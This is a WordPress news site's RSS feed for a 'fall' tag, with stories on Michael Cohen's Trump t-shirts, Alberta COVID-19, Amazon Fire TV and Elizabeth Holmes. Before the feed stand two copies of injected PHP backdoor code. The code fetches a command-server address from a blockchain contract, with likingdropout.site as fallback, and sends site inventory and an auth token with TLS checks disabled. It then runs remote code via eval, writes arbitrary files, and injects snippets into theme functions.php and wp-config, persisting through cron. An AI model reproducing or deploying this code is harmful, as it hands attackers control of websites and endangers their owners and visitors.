// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); fall – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 26 Sep 2022 08:57:55 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png fall – Brief News https://briefnews.eu 32 32 Michael Cohen is selling t-shirts depicting Trump in prison to ‘celebrate the fall of the Mango Mussolini’ https://briefnews.eu/michael-cohen-is-selling-t-shirts-depicting-trump-in-prison-to-celebrate-the-fall-of-the-mango-mussolini/ https://briefnews.eu/michael-cohen-is-selling-t-shirts-depicting-trump-in-prison-to-celebrate-the-fall-of-the-mango-mussolini/#respond Mon, 26 Sep 2022 08:57:55 +0000 https://briefnews.eu/michael-cohen-is-selling-t-shirts-depicting-trump-in-prison-to-celebrate-the-fall-of-the-mango-mussolini/ Michael Cohen
Michael Cohen, a former attorney and fixer for former President Donald Trump, announced the line of t-shirts in a Twitter post.

Chip Somodevilla/Getty Images

  • Michael Cohen is selling t-shirts depicting Trump behind bars.
  • The shirt shows Trump in a jumpsuit with the words "Mar-a-Lago Correctional Facility" on its back.
  • Cohen said the shirts were meant to "celebrate the fall of the Mango Mussolini."

Michael Cohen, former President Donald Trump's one-time lawyer and personal fixer, is selling t-shirts to celebrate his former boss' legal troubles.

Cohen advertised the t-shirts in a post on Twitter, taking a dig at Trump.

"BREAKING: I am excited to announce my new Mar-a-Lardo clothing line during Milan Fashion Week as we celebrate the fall of the Mango Mussolini," Cohen wrote. "Yes, it's real, and you can get yours today."

The t-shirts, which go for $ 30 each, are being sold on the Meidas Touch store, an online shop run by a liberal super-PAC. The shirt itself depicts what appears to be Trump in handcuffs and wearing an orange prison jumpsuit with the words "Mar-a-Lago Correctional Facility" on its back.

Cohen and a representative at Trump's post-presidential press office did not immediately respond to a request for comment from Insider.

Cohen is known for having worked for Trump and acting as his fixer and confidante for a decade.

In 2018, Cohen pleaded guilty to felonies, including tax evasion, campaign finance violations, and bank fraud. He was sentenced in December that year to three years in prison and was disbarred in February 2019 by the New York Supreme Court.

Since his release in 2021, Cohen has been an outspoken Trump critic. Most recently, Cohen was jubilant about the former president's Mar-a-Lago residence being raided by the FBI in August.

He's also speculated about the identity of a possible FBI informant in Trump's camp and said he thought Trump was likely keeping classified documents at Mar-a-Lago as a "bargaining chip" to avoid jail time.

This week, Cohen mocked Trump's baseless claim that he could telepathically declassify top-secret documents.

"First he goes after the FBI, then he turns, and he wants to use the Jedi mind trick 'declassify we do!' I mean, this guy is out of his mind," Cohen quipped. "He's really, truly lost it."

Last month, Cohen also took credit for former Trump Organization chief financial officer Allen Weisselberg pleading guilty to tax fraud, saying that he had provided key evidence in the case.

Last week, New York Attorney General Letitia James also gave Cohen a shoutout while announcing her office's $ 250 million civil lawsuit against Trump and his adult children.

Cohen said he believed the ensuing New York probe would "ultimately terminate" the Trump Organization and that one or two of Trump's children might have to "fall on the sword" for their father.

Read the original article on Business Insider

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]]> https://briefnews.eu/michael-cohen-is-selling-t-shirts-depicting-trump-in-prison-to-celebrate-the-fall-of-the-mango-mussolini/feed/ 0 Has Alberta’s fall COVID-19 surge already started? Early signs are here https://briefnews.eu/has-albertas-fall-covid-19-surge-already-started-early-signs-are-here/ https://briefnews.eu/has-albertas-fall-covid-19-surge-already-started-early-signs-are-here/#respond Fri, 23 Sep 2022 23:17:06 +0000 https://briefnews.eu/has-albertas-fall-covid-19-surge-already-started-early-signs-are-here/ covid alberta icu

Alberta may be seeing the early signs of a predicted fall COVID-19 upswing, but experts say it’s too early to say just how bad it will get.

]]> https://briefnews.eu/has-albertas-fall-covid-19-surge-already-started-early-signs-are-here/feed/ 0 Is new Fire TV hardware on the way at Amazon’s fall event? https://briefnews.eu/is-new-fire-tv-hardware-on-the-way-at-amazons-fall-event/ https://briefnews.eu/is-new-fire-tv-hardware-on-the-way-at-amazons-fall-event/#respond Wed, 21 Sep 2022 12:39:15 +0000 https://briefnews.eu/is-new-fire-tv-hardware-on-the-way-at-amazons-fall-event/ We’ve already taken a look at what we hope to see from Amazon at its fall event — scheduled virtually for September 28. It’s Amazon, so undoubtedly there will be a ton of smart home-type stuff at the ready.

But what about Amazon Fire TV? Are there new sticks on the horizon? Maybe a new Fire TV Cube?

Simple answer? We don’t know. Nothing has leaked ahead of the event.

Can we glean any insight from the current state of Fire TV devices? That’s another matter altogether. So let’s take a look at the landscape when it comes to the big devices — the Fire TV Cube, and various Fire TV Sticks — and whether we can expect something new on September 28.

Amazon Fire TV Cube on a table with a TV in the background.

Fire TV Cube — last updated in 2019

This is the biggest thing we’re looking for in terms of Fire TV at the September 28 event. The current generation of Fire TV Cube is, by tech standards, pretty ancient. This model — the second in the Fire TV Cube line — was released in 2019. That fact in and of itself is enough to warrant speculation that it could be ripe for an update.

But the Fire TV Cube is a curious beast. Unlike the less-expensive Fire TV sticks, the Cube has a microphone array built in, and that allows you to control things with hands-free voice commands.

The question, then, is whether that feature is enough to justify an update to the hardware. For Amazon, it should be a relatively easy matter of looking at sales and usage numbers. Are enough people buying the Fire TV Cube — which retails for roughly twice as much as the Fire TV Stick 4K Max — to justify a new one? And is hands-free Alexa actually being used enough to also justify the more expensive hardware?

That a three-year-old model remains for sale in 2022 could be one answer to that question. But if we don’t see a new Fire TV Cube on September 28, that could be another answer.

Two Amazon Fire TV Stick 4K Max sticks in hand.
Phil Nickinson/Digital Trends

The other Fire TV sticks

There are four versions of Amazon Fire TV Stick currently available. The Fire TV Stick 4K Max is the most recent, having been released in October 2021. That’s followed by the third-generation Fire TV Stick and Fire TV Stick Lite (they both top out at 1080p) in 2020.

Then there’s the Fire TV Stick 4K, which dates all the way back to 2018. That’s an interesting one because when the Fire TV Stick 4K max was released last year, Amazon said it wasn’t supplanting the Fire TV Stick 4K — even though there’s absolutely no reason why you shouldn’t just go ahead and pay the extra $ 5 for the Max. (If only for the newer processor, extra RAM, and better Wifi support.)

The truth is that any of the Fire TV Sticks could see an update this fall. Or none of them could. Or the original Fire TV Stick 4K could finally be phased out. The simple fact is that we don’t know.

]]> https://briefnews.eu/is-new-fire-tv-hardware-on-the-way-at-amazons-fall-event/feed/ 0 The rise and fall of Elizabeth Holmes, the former Theranos CEO found guilty of wire fraud and conspiracy, whose sentencing has now been delayed https://briefnews.eu/the-rise-and-fall-of-elizabeth-holmes-the-former-theranos-ceo-found-guilty-of-wire-fraud-and-conspiracy-whose-sentencing-has-now-been-delayed/ https://briefnews.eu/the-rise-and-fall-of-elizabeth-holmes-the-former-theranos-ceo-found-guilty-of-wire-fraud-and-conspiracy-whose-sentencing-has-now-been-delayed/#respond Wed, 14 Sep 2022 03:31:41 +0000 https://briefnews.eu/the-rise-and-fall-of-elizabeth-holmes-the-former-theranos-ceo-found-guilty-of-wire-fraud-and-conspiracy-whose-sentencing-has-now-been-delayed/ Theranos Elizabeth Holmes court
Elizabeth Holmes leaves after a hearing at a federal court in San Jose, California, on July 17, 2019.

Reuters/Stephen Lam

  • Elizabeth Holmes dropped out of Stanford at 19 to start Theranos and grew its value to $ 9 billion.
  • Later, technology flaws were exposed, resulting in a months-long trial where Holmes was found guilty on three counts of wire fraud and one count of conspiracy.
  • Now, Holmes is requesting a new trial after a key witness claimed he felt bad about his testimony.

In 2014, blood-testing startup Theranos and its founder, Elizabeth Holmes, were on top of the world.

Back then, Theranos was a revolutionary idea thought up by a woman hailed as a genius who styled herself as a female Steve Jobs. Holmes was the world's youngest female self-made billionaire, and Theranos was one of Silicon Valley's unicorn startups, valued at an estimated $ 9 billion. 

But then it all came crashing down.

The shortcomings and inaccuracies of Theranos's technology were exposed, along with the role Holmes played in covering it all up. Holmes was ousted as CEO and charged with "massive fraud," and the company was forced to close its labs and testing centers, ultimately shuttering operations altogether.

As she awaited trial, Holmes reportedly found the time to get engaged — and married — to a hotel heir named Billy Evans.

Holmes has since been convicted of fraud in federal court. In January, jurors found Holmes guilty on three counts of wire fraud and one count of conspiracy to commit wire fraud. They found her not guilty on four other counts and failed to reach a unanimous verdict on the remaining three counts against her.

In July, Holmes' former romantic and business partner Ramesh "Sunny" Balwani, was also convicted of fraud. He was found guilty on all 12 fraud-related charges.

Since her conviction, Holmes has become the subject of a Hulu limited series, "The Dropout," based on the ABC News podcast of the same name. The show stars Amanda Seyfried as Holmes as it chronicles the meteoric rise and fall of Theranos and Holmes herself.

Holmes has asked the presiding judge in her case to overturn her conviction. In a filing on May 27, Holmes' attorneys argued evidence was "insufficient to sustain the convictions."

"Because no rational juror could have found the elements of wire fraud and conspiracy to commit wire fraud beyond a reasonable doubt on this record, the Court should grant Ms. Holmes' motion for judgment of acquittal," they wrote. 

In early September, a judge tentatively denied Holmes' request to overturn her fraud conviction. Since then, Holmes has also requested a new trial, alleging in court filings that a key witness showed up to her house and said he felt guilty that his testimony could have contributed to her conviction. 

Holmes' sentencing hearing is currently scheduled for October 17. 

Here's how Holmes went from precocious child, to ambitious Stanford dropout, to an embattled startup founder convicted of fraud: 

